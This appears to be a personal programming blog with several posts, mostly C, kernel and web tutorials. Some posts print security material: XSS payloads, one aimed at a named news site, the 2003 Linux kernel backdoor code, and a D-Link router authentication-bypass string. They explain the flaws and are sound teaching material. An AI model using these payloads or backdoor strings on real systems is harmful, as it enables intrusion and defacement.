1. Kernel 101 – Let’s write a Kernel

    by Arjun Sreedharan

    Hello World,

    Let us write a simple kernel which could be loaded with the GRUB bootloader on an x86 system. This kernel will display a message on the screen and then hang.

    One does simply write a kernel



    How does an x86 machine boot

    Before we think about writing a kernel, let’s see how the machine boots up and transfers control to the kernel:

    The x86 CPU is hardwired to begin execution at the physical address [0xFFFFFFF0]. It is in fact, the last 16 bytes of the 32-bit address space. This address just contains a jump instruction to the address in memory where BIOS has copied itself.

    Thus, the BIOS code starts its execution.  BIOS first searches for a bootable device in the configured boot device order. It checks for a certain magic number to determine if the device is bootable or not.

    Once the BIOS has found a bootable device, it copies the contents of the device’s first sector into RAM starting from physical address [0x7c00]; and then jumps into the address and executes the code just loaded. This code is called the bootloader.

    The bootloader then loads the kernel at the physical address [0x100000]. The address [0x100000] is used as the start-address for all big kernels on x86 machines.



    What all do we need?

    * An x86 computer (of course)
    * Linux
    * NASM assembler
    * gcc
    * ld (GNU Linker)
    * grub



    Source Code

    Source code is available at my Github repository - mkernel



    The entry point using assembly

    We like to write everything in C, but we cannot avoid a little bit of assembly. We will write a small file in x86 assembly-language that serves as the starting point for our kernel. All our assembly file will do is invoke an external function which we will write in C, and then halt the program flow.

    How do we make sure that this assembly code will serve as the starting point of the kernel?

    We will use a linker script that links the object files to produce the final kernel executable. (more explained later)  In this linker script, we will explicitly specify that we want our binary to be loaded at the address [0x100000]. This address, as I have said earlier, is where the kernel is expected to be. Thus, the bootloader will take care of firing the kernel’s entry point.

    Here’s the assembly code:

    ;;kernel.asm
    bits 32			;nasm directive - 32 bit
    section .text
    
    global start
    extern kmain	        ;kmain is defined in the c file
    
    start:
      cli 			;block interrupts
      call kmain
      hlt		 	;halt the CPU
    

    The first instruction bits 32 is not an x86 assembly instruction. It’s a directive to the NASM assembler that specifies it should generate code to run on a processor operating in 32 bit mode. It is not mandatorily required in our example, however is included here as it’s good practice to be explicit.

    The second line begins the text section (aka code section). This is where we put all our code.

    global is another NASM directive to set symbols from source code as global. By doing so, the linker knows where the symbol start is; which happens to be our entry point.

    kmain is our function that will be defined in our kernel.c file. extern declares that the function is declared elsewhere.

    Then, we have the start function, which calls the kmain function and halts the CPU using the hlt instruction. Interrupts can awake the CPU from an hlt instruction. So we disable interrupts beforehand using cli instruction. cli is short for clear-interrupts.

     

    The kernel in C

    In kernel.asm, we made a call to the function kmain(). So our C code will start executing at kmain():

    /*
    *  kernel.c
    */
    void kmain(void)
    {
    	char *str = "my first kernel";
    	char *vidptr = (char*)0xb8000; 	//video mem begins here.
    	unsigned int i = 0;
    	unsigned int j = 0;
    	//clear all
    	while(j < 80 * 25 * 2) {
    		//blank character
    		vidptr[j] = ' ';
    		//attribute-byte: light grey on black screen	
    		vidptr[j+1] = 0x07; 		
    		j = j + 2;
    	}
    	j = 0;
    	while(str[j] != '\0') {
    		vidptr[i] = str[j];
    		vidptr[i+1] = 0x07;
    		++j;
    		i = i + 2;
    	}
    	return;
    }
    

    All our kernel will do is clear the screen and write to it the string “my first kernel”.

    First we make a pointer vidptr that points to the address [0xb8000]. This address is the start of video memory in protected mode. The screen’s text memory is simply a chunk of memory in our address space. The memory mapped input/output for the screen starts at [0xb8000] and supports 25 lines, each line contain 80 ascii characters.

    Each character element in this text memory is represented by 16 bits (2 bytes), rather than 8 bits (1 byte) which we are used to.  The first byte should have the representation of the character as in ASCII. The second byte is the attribute-byte. This describes the formatting of the character including attributes such as color.

    To print the character s in green color on black background, we will store the character s in the first byte of the video memory address and the value [0x02] in the second byte.
    0 represents black background and 2 represents green foreground.


    Have a look at table below for different colors:

    0 - Black, 1 - Blue, 2 - Green, 3 - Cyan, 4 - Red, 5 - Magenta, 6 - Brown, 7 - Light Grey, 8 - Dark Grey, 9 - Light Blue, 10/a - Light Green, 11/b - Light Cyan, 12/c - Light Red, 13/d - Light Magenta, 14/e - Light Brown, 15/f – White.



    In our kernel, we will use light grey character on a black background. So our attribute-byte must have the value [0x07].

    In the first while loop, the program writes the blank character with [0x07] attribute all over the 80 columns of the 25 lines. This thus clears the screen.

    In the second while loop, characters of the null terminated string “my first kernel” are written to the chunk of video memory with each character holding an attribute-byte of [0x07].

    This should display the string on the screen.



    The linking part

    We will assemble kernel.asm with NASM to an object file; and then using GCC we will compile kernel.c to another object file. Now, our job is to get these objects linked to an executable bootable kernel.

    For that, we use an explicit linker script, which can be passed as an argument to ld (our linker).

    /*
    *  link.ld
    */
    OUTPUT_FORMAT(elf32-i386)
    ENTRY(start)
    SECTIONS
     {
       . = 0x100000;
       .text : { *(.text) }
       .data : { *(.data) }
       .bss  : { *(.bss)  }
     }
    

    First, we set the output format of our output executable to be 32 bit Executable and Linkable Format (ELF). ELF is the standard binary file format for Unix-like systems on x86 architecture.

    ENTRY takes one argument. It specifies the symbol name that should be the entry point of our executable.

    SECTIONS is the most important part for us. Here, we define the layout of our executable. We could specify how the different sections are to be merged and at what location each of these is to be placed.

    Within the braces that follow the SECTIONS statement, the period character (.) represents the location counter.
    The location counter is always initialized to [0x0] at beginning of the SECTIONS block. It can be modified by assigning a new value to it.

    Remember, earlier I told you that kernel’s code should start at the address [0x100000]. So, we set the location counter to [0x100000].

    Have look at the next line .text : { *(.text) }

    The asterisk (*) is a wildcard character that matches any file name. The expression *(.text) thus means all .text input sections from all input files.

    So, the linker merges all text sections of the object files to the executable’s text section, at the address stored in the location counter. Thus, the code section of our executable begins at [0x100000].

    After the linker places the text output section, the value of the location counter will become
    0x1000000 + the size of the text output section.

    Similarly, the data and bss sections are merged and placed at the then values of location-counter.



    Grub and Multiboot

    Now, we have all our files ready to build the kernel. But, since we like to boot our kernel with the GRUB bootloader, there is one step left.

    There is a standard for loading various x86 kernels using a boot loader; called as Multiboot specification.

    GRUB will only load our kernel if it complies with the Multiboot spec.

    According to the spec, the kernel must contain a header (known as Multiboot header) within its first 8 KiloBytes.

    Further, This Multiboot header must contain 3 fields that are 4 byte aligned namely:

    • a magic field: containing the magic number [0x1BADB002], to identify the header.
    • a flags field: We will not care about this field. We will simply set it to zero.
    • a checksum field: the checksum field when added to the fields ‘magic’ and ‘flags’ must give zero.

    So our kernel.asm will become:

    ;;kernel.asm
    
    ;nasm directive - 32 bit
    bits 32
    section .text
            ;multiboot spec
            align 4
            dd 0x1BADB002            ;magic
            dd 0x00                  ;flags
            dd - (0x1BADB002 + 0x00) ;checksum. m+f+c should be zero
    
    global start
    extern kmain	        ;kmain is defined in the c file
    
    start:
      cli 			;block interrupts
      call kmain
      hlt		 	;halt the CPU
    

    The dd defines a double word of size 4 bytes.

    Building the kernel

    We will now create object files from kernel.asm and kernel.c and then link it using our linker script.

    nasm -f elf32 kernel.asm -o kasm.o
    

    will run the assembler to create the object file kasm.o in ELF-32 bit format.

    gcc -m32 -c kernel.c -o kc.o
    

    The ‘-c ’ option makes sure that after compiling, linking doesn’t implicitly happen.

    ld -m elf_i386 -T link.ld -o kernel kasm.o kc.o
    

    will run the linker with our linker script and generate the executable named kernel.



    Configure your grub and run your kernel

    GRUB requires your kernel to be of the name pattern kernel-<version>. So, rename the kernel. I renamed my kernel executable to kernel-701.

    Now place it in the /boot directory. You will require superuser privileges to do so.

    In your GRUB configuration file grub.cfg you should add an entry, something like:

    title myKernel
    	root (hd0,0)
    	kernel /boot/kernel-701 ro
    



    Don’t forget to remove the directive hiddenmenu if it exists.

    Reboot your computer, and you’ll get a list selection with the name of your kernel listed.

    Select it and you should see:

    image

    That’s your kernel!!



    PS:
    * It’s always advisable to get yourself a virtual machine for all kinds of kernel hacking.

    * To run this on grub2 which is the default bootloader for newer distros, your config should look like this (Thanks to Rubén Laguna from comments for the config):

    menuentry 'kernel 7001' {
    	set root='hd0,msdos1'
    	multiboot /boot/kernel-7001 ro
    }
    



    * Also, if you want to run the kernel on the qemu emulator instead of booting with GRUB, you can do so by:

    qemu-system-i386 -kernel kernel
    
  2. 3:12 PM 14th April 2014 52 notes ■  Comments








  3. Character literal is not a character in C !!

    by Arjun Sreedharan

    I was once writing program similar to the following. But i made a little mistake which led me to something interesting.

    #include <stdio.h>
    int main()
    {
      char ch[256];
      scanf("%s", ch);
      if (ch == 'a') {
        printf("Your sentence begins with %c.\n", *ch);
      }
      return 0;
    }
    

    In this code; i am supposedly reading a string from stdin, checking if it begins with the character literal 'a' and if it does, print something.

    However, if you watch closely enough i missed an asterisk on line 7.
    It should have been if (*ch == 'a') {

    Not noticing the bug i went on and compiled the code.

    GCC threw the following warning:
    warning: comparison between pointer and integer

    image Now i knew where to fix, but the warning caught my attention.

    It says i am trying to compare a pointer and an integer.
    But where does the integer come from?

    I am not using an integer anywhere in the code except for the return value of main().

    In the line which throws the warning, i am comparing a pointer (ch) to a character literal ('a').




    A little bit of investigation around the web and i found out why.

    Before i tell you why, let me try to find the size of the character literal compared to that of an int and char.

    int main()
    {
      printf("sizeof(char) %d\n", sizeof(char));
      printf("sizeof(int) %d\n", sizeof(int));
      printf("sizeof('a') %d\n", sizeof('a'));
      return 0;
    }
    

    Here’s the output:

    sizeof(char) 1
    sizeof(int) 4
    sizeof('a') 4
    

    As you can see, the character literal doesn’t occupy the size of a char, it takes the size of an int.

    Here’s what the C standard says (§6.4.4.4):

        883 An integer character constant has type int.
        
        ...
        
        886 If an integer character constant contains a single
        character or escape sequence, its value is the one that 
        results when an object with type char whose value is that of 
        the single character or escape sequence is converted to 
        type int.
    



    Yes. In C, a character literal is an int not a char.

    PS:
    The same is not true for C++. see the screenshot below.
    image

  4. 1:31 AM 5th March 2014 0 notes ■  Comments








  5. Simple php wrapper for OAuth requests

    by Arjun Sreedharan

    Hi, i wrote a simple php wrapper for making OAuth requests to a url.

    Here’s the code on github.

    Include the library file in your code first:

    require('oauthRequest.php');
    

    Now, you can use the oauthRequest method which returns the response text:

    $output = oauthRequest(<url>);
    
  6. 5:36 AM 24th February 2014 0 notes ■  Comments








  7. Some jQuery bugs

    by Arjun Sreedharan

    jQuery is probably the best thing to have happened to an otherwise lousy language JavaScript. Just a couple of things I felt that doesn’t fare well with jQuery.

    XSS !!!

    Suppose you want to create an HTML element on the fly, you could use the $() method and pass to it a string that looks like HTML.
    If the string matches the regex for an HTML tag, then the string is internally passed to the $.parseHTML() method.

    So, I could create a div like:

    var $mainDiv = $("<div class='main-div'></div>");
    

    What if a scripts is passed as an event attribute:

    $("<img src=x onerror=alert(/hacked/)></img>");

    Here’s what happens:

    The onerror event was fired just when the node was created. I could pass any malicious script here instead of the alert, which would then be run immediately. Busted!!

    What if I give a valid url for the src attribute.
    A GET request is immediately sent to the url.

    What if you are logged in, and given the src path meets the cookies’ restrictions,
    you are sending off your cookies as well.
    Busted again!!

     

    The .data() method:

    Now, I am going to attach some data to my body element:

    $("body").data({"my-fav": 7});
    

    Let me try see if the data’s set.

    $("body").data("my-fav");
    >>7
    

    Good.

    Well, 7 is no more my favorite number, I should change it to 5.
    Here, I go:

    $("body").data("my-fav", 5);
    

    Now let me check if it’s there:

    $("body").data("my-fav");
    >>7
    

    Oops !! It hasn’t changed.

    Let me have a look at all the data the node has:

    $("body").data();
     >>Object {my-fav: 7, myFav: 5}
    

    If I remove the hyphen and cameCase the key:

    $("body").data("myFav");
    >>5
    

    But "myFav" isn’t what I asked for !!

  8. 7:39 AM 16th February 2014 0 notes ■  Comments








  9. Simple and free file storage for your website using Dropbox and Google App Engine

    by Arjun Sreedharan

    Hi folks,

    I wanted to host some files on my this website which i host on tumblr.
    So, i decided to put them on dropbox and write a simple python app hosted on google app engine that serves them.
    Finally, pointed one of my subdomains to the python app - so i can host stuff in my domain like files.arjunsreedharan.org/test

    I have put the code on Github: arjun024/pystorage

    To use for your website, all your need to do is specify your dropbox user-id and the name of the folder you wish to store your content.
    Read on.

    What services we use here

    How we build our environment

    Dropbox

    • Create a dropbox account.
    • Create a folder inside your “Public” directory.
    • Create a test file inside that folder, Right-click and view its public url and find out your user-id.
      (public url will be of the syntax: dl.dropboxusercontent.com/u/<USERID>/<YOURFOLDER>/testfile)
    • Input user-id and folder-name as variable values in index.py.
    DROPBOX_USERID = "<USERID>"
    DROPBOX_FOLDER = "<YOURFOLDER>"
    

    Google App Engine

    • Create a Google App Engine account.
    • register a unique app-id.
    • now your application will run at <app-id>.appspot.com
    • Dowload Python and Google App Engine SDK
    • Download source files of pystorage project from github. (here)
    • Select “src” folder as the project folder in the GAE SDK.
    • Deploy it to App Engine.

    Example

    http://py-storage.appspot.com/test

    This serves the file ‘test’ that is located in the specified folder of my Dropbox’s Public directory.

    Access the files under your own domain

    • Let’s say you want to acces the test file as <files.yourwebsite.com>/test
    • Login to your App Engine, set custom domain for your app as <files.yourwebsite.com>
    • In your website’s DNS settings: point CNAME record for <files.yourwebsite.com> to ghs.googlehosted.com
    • You’re done.
  10. 1:38 PM 15th January 2014 0 notes ■  Comments








  11. The difference between arr and &arr - How to find size of an array in C without sizeof

    by Arjun Sreedharan

    Hey folks, Long time no C.

    Generally in C, this is how we find the length of an array arr :

    int n = sizeof(arr) / sizeof(arr[0]);
    


    Here we take the size of the array in bytes; then divide it by the size of an individual array element.


    Let’s get rid of sizeof and make things cool.


    Ever thought what’s the difference between arr and &arr?


    Let’s check that out by printing the memory addresses of both the pointers:
    image

    and here’s the output:
    image

    As you can see in the output, both arr and &arr point to the exact same memory location 0x244fdc4.



    Now, let’s increment both the pointers by 1 and check their memory address.


    Here’s the code to check for the memory address of arr + 1 and &arr + 1 :

    image

    and the output:
    image


    We find that:


    (arr + 1) points to 0x244fdc8 which is 4 bytes away from arr which points to 0x244fdc4.
    Since an int takes up 4 bytes, (arr + 1) points to the second element of the array.


    (&arr + 1) points to 0x244fdd8 which is 20 bytes away from arr which points to 0x244fdc4.
    (0x244fdd8 - 0x244fdc4 = 14 in hex = 20 in decimal)

    Taking the size of int into consideration, (&arr + 1) is 5 int-sizes away from the beginning of the array. 5 also happens to be the size of the array.
    So, (&arr + 1) points to the memory address after the end of the array.

    Now, we can deduce that while arr and &arr points to the same location, they are different in type.

    arr has the type int *, where as &arr has the type int (*)[size].

    &arr points to the entire array where as arr points to the first element of the array.

    image


    This brings us to something useful - length of the array.


    * (&arr + 1) gives us the address after the end of the array and arr that of the first element of the array.
    Subtracting latter from former would thus give the length of the array.

    int n = *(&arr + 1) - arr;
    


    We can simplify this using array indexes (since x[1] == *(x+1) ):

    int n = (&arr)[1] - arr;
    



    PS:
    This works only for arrays, not when you take pointers (as in char *str for strings).

    void reverseStr(char *str){ 
      //wrong
      int strlength = (&str)[1] - str;
    }
    

    In this case &str is a pointer that points to the pointer str. Remember, in C arrays are not pointers.

    Addendum:

    I’d like to quote a question-answer i found on reddit / SO regarding the same topic.

    QAccessing the first address after an array seems to be undefined behavior. For example: if your array located at the end of an address-space, the referencing address causing an overflow and your resulting size could be anything. Then how could you access `(&arr)[1]` ?

    AC doesn’t allow access to memory beyond the end of the array. It does, however, allow a pointer to point at one element beyond the end of the array. The distinction is important.

  12. 4:28 PM 7th December 2013 0 notes ■  Comments








  13. Of backdoors and bad coding

    by Arjun Sreedharan

    Does "roodkcableoj28840ybtide" mean anything to you?
    By the time you read through this article, you will understand that it is not gibberish exactly.

    The Tux

    Talking about backdoors, I’d like to write about an attempted planting of backdoor in the linux kernel.
    It was the year 2003 and linux kernel was still maintained on BitKeeper.

    The backdoor was just 2 lines added to the /kernel/exit.c file of the Linux kernel’s source code. It was added of the sys_wait4() system call.

    sys_wait4() is a function a process could use to wait until some other process finishes.

    It was presented such that new lines of code were added to make sys_wait4() return an error “EINVAL” (which is the error-code for invalid arguments) when the function was called in a way not permissible.

    The added lines were as follows:

    if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
    	retval = -EINVAL;
    

    On casually reading the above code, it appears to check if the caller of sys_wait4() is using either of __WCLONE or __WALL flags, and if the user invoking it has the uid of 0 (ie. the root user) . If both conditions are true, the call is aborted with the given error code.

    If you re-examine the piece of code, you’ll find that instead of using the Equality-comparison operator ==, the assignment operator = is used. The code should have been current->uid == 0 instead of current->uid = 0.

    The above piece of code first compares options to the expression (__WCLONE|__WALL).
    if true, it then evaluates (current->uid = 0) which always evaluates to false and also by virtue of the assignment operator sets the value of current->uid to 0, giving root access to the system.

    So the if-statement always evaluates to false and the code is effectively:

    if ( options == ( __WCLONE | __WALL ) )
    	current->uid = 0;
    

    So, the code never even checks if the user is root. If the condition for checking the flag succeeds, it grants the process root privileges, thereby making the function sys_wait4() a backdoor to get unlimited privileges in a machine just by setting the right flags.

    Now that I think about this, I frequently make the accident of using the = operator instead of the == operator. Perhaps, I may have written some good backdoors by now. Who knows !!



    D-Link Router

    Just a month ago, a security whiz named Chris Heffner exposed a backdoor contained in certain versions of D-Link router firmware. He found that the firmware performs an strcmp between the string pointer that represents the User-Agent header of the HTTP request and the string xmlset_roodkcableoj28840ybtide. If the strings match, the login-checking function call is skipped and the authentication-function returns 1 (meaning authentication OK).

    This means that, if you set your browser’s User-Agent to xmlset_roodkcableoj28840ybtide, then you can access the web interface without any authentication ;)

    If you carefully look at the string that facilitates the backdoor entry, is it’s basically xmlset_ prepended with the following written backwards :

    "Edit by 04882 Joel Backdoor"

    Did I not tell you, you would get to know what roodkcableoj28840ybtide means !!!

    Hardwired passwords were a design blunder three decades ago, but some Joel guy had to go home early from office and he decided to make life convenient.

    PS: Hot News - United States NSA asked Linus Torvalds to inject backdoors into Linux/GNU
    PS 2: It was never brought out who was behind the 2003 attempt to plant a backdoor in the linux kernel.

  14. 12:41 PM 24th November 2013 0 notes ■  Comments








  15. A simple XSS demo – on Times of India

    by Arjun Sreedharan

    Some time ago, I dropped by the Times of India website and entered a “vector” string as a query in the search field. Then, the page heading read as below (Arjun024 being my twitter handle):

    News: All twitter followers of Arjun024 to be awarded gold coins




    Later someday, I searched Google for “arjun024 Times of India”. To my astonishment, Google indexed the link with the “attacking” vector and displayed it as the first result. Now, it is there for posterity to have a go at winning some gold coins ;)

    Now let us see how it”s done:

    We get to the Times of India search page where we can search using the url parameter “query”.
    Let”s say we want to search for mega, then the url looks like:

     



    This is how it appears in their not-sanitized html output:



    Whatever value is supplied for the parameter “query”, it is without sanitization assigned to a JavaScript variable here in the form:

    <script type="text/javascript">var searchvel="queryParameterValue";</script>

    where queryParameterValue is the value of the url parameter “query”

    This means that if you give a quotation mark (“) in the parameter value, the part after the quotation mark escapes out of the assignment to the searchvel variable.



    Let”s try out one such case.

    Here, we query for Na”//ma  :  the quotation-mark tricks JavaScript to believe that it is the end of the string and the double forward slashes makes JavaScript consider everything after that as comments and therefore as inactive code.

     

    So, we effectively have:

    var searchvel = "Na"      // mas";



    Now, we have successfully injected a piece of comment, now why not a piece of code?

    So, we give the parameter value as ";alert(1)//



    Here is what happens:

     

    And the html looks like this:



     

    Now, we could insert whatever script we like to and get it reflected off the site in what is a reflected XSS “attack”.



    I chose to give myself some (cheap) publicity :P and replace the body content with a piece of “news”.

    Here”s what my URL looked like:

    ";</script><body><h1>News: All twitter followers of Arjun024 to be awarded gold coins</h1><h3>NewDelhi: Govt of India has announced gold coins for all followers of Arjun024.. LOL</h3></body></html>< !--



    The html comment begin token <!- - makes sure that everything to follow remain commented and the document effectively ends there.



    And here”s how the “news” appeared:

     

     

  16. 8:31 AM 16th November 2013 2 notes ■  Comments








  17. Exploresion

    by Arjun Sreedharan

    I have launched this website exploresion.org that lets you explore the tree of all the information in the known universe !! ;)
    Search for anything and navigate through the tree.

    Do check out.

  18. 12:45 PM 11th November 2013 1 notes ■  Comments








  19. Find your Facebook Friends Ranking Score !!

    by Arjun Sreedharan

    Hey folks,
    I just wrote a tiny script to print Facebook Friends Ranking Score in a table.

    (UPDATE [June 5, 2014 and Dec 18, 2013]: Code and Link updated since Facebook changed some of their code)

    Drag and drop the following link to your browser’s bookmarks bar:

    FB Friends Ranking

    Log in to your facebook and then click on the bookmark. 

    You should see your Friends’ Rating Score. Smaller the friend’s score, higher the rank.

    It also shows scores for not only users; also for groups, pages etc and your ranking factors like high-school, college, employer, topics etc.

    Surprised that facebook knows who you stalk?, Sure you are not !! :)

    The Code:

    function creator(o, data, node){
    	var content = document.createElement(node);
    	content.cellspacing = "3"
    	var cell = document.createTextNode(data);
    	content.appendChild(cell);
    	o.appendChild(content);
    }
    function displayData(arr){
    	var table = document.createElement('table');
    	var thead = document.createElement('thead');
    	table.appendChild(thead);
    	var row = document.createElement('tr');
    	creator(row, 'Name', 'th');
    	creator(row, 'Type', 'th');
    	creator(row, 'Score', 'th');
    	thead.appendChild(row);
    	var tbody = document.createElement('tbody');
    	table.appendChild(tbody);
    	for(i=0; i < arr.length; i++){
    		var type = arr[i].type;
    		var row = document.createElement('tr');
    		creator(row, arr[i]["text"], 'td');
    		creator(row, Object.keys(arr[i]["grammar_costs"])[0].slice(0,-1).substring(1), 'td');
    		creator(row, arr[i]["grammar_costs"][Object.keys(arr[i]["grammar_costs"])[0]], 'td');
    		tbody.appendChild(row);
    	}
    	document.body.innerHTML = "";
    	document.body.appendChild(table);
    }
    
    id = requireDynamic("CurrentUserInitialData")["USER_ID"] || requireDynamic("CurrentUserInitialData")["ACCOUNT_ID"] || requireDynamic("Env").user || requireDynamic("CurrentUserInitialData")["id"];
    url = "//www.facebook.com/ajax/typeahead/search/facebar/bootstrap/?viewer=" + id + "&__a=1";
    x = new XMLHttpRequest();
    x.onreadystatechange=function(){
      if (x.readyState==4 && x .status==200){
        srr=JSON.parse(x.responseText.substring(9)).payload.entries;
        displayData(srr);
      }
    }
    x.open("GET",url,true);
    x.send();
    



    On Github: 
    github.com/arjun024/facebook-friends-ranking-score

  20. 2:20 AM 4th November 2013 40 notes ■  Comments








    Disclaimer: The views expressed here are solely those of the author in his private capacity and do not in any way represent the views of the author's employer or any organization associated with the author.




















































Interesting Things:
exploresion.org







Recent Posts:
Simplicity is the ultimate sophistication. (Leonardo Da Vinci)
©
Arjun Sreedharan 2013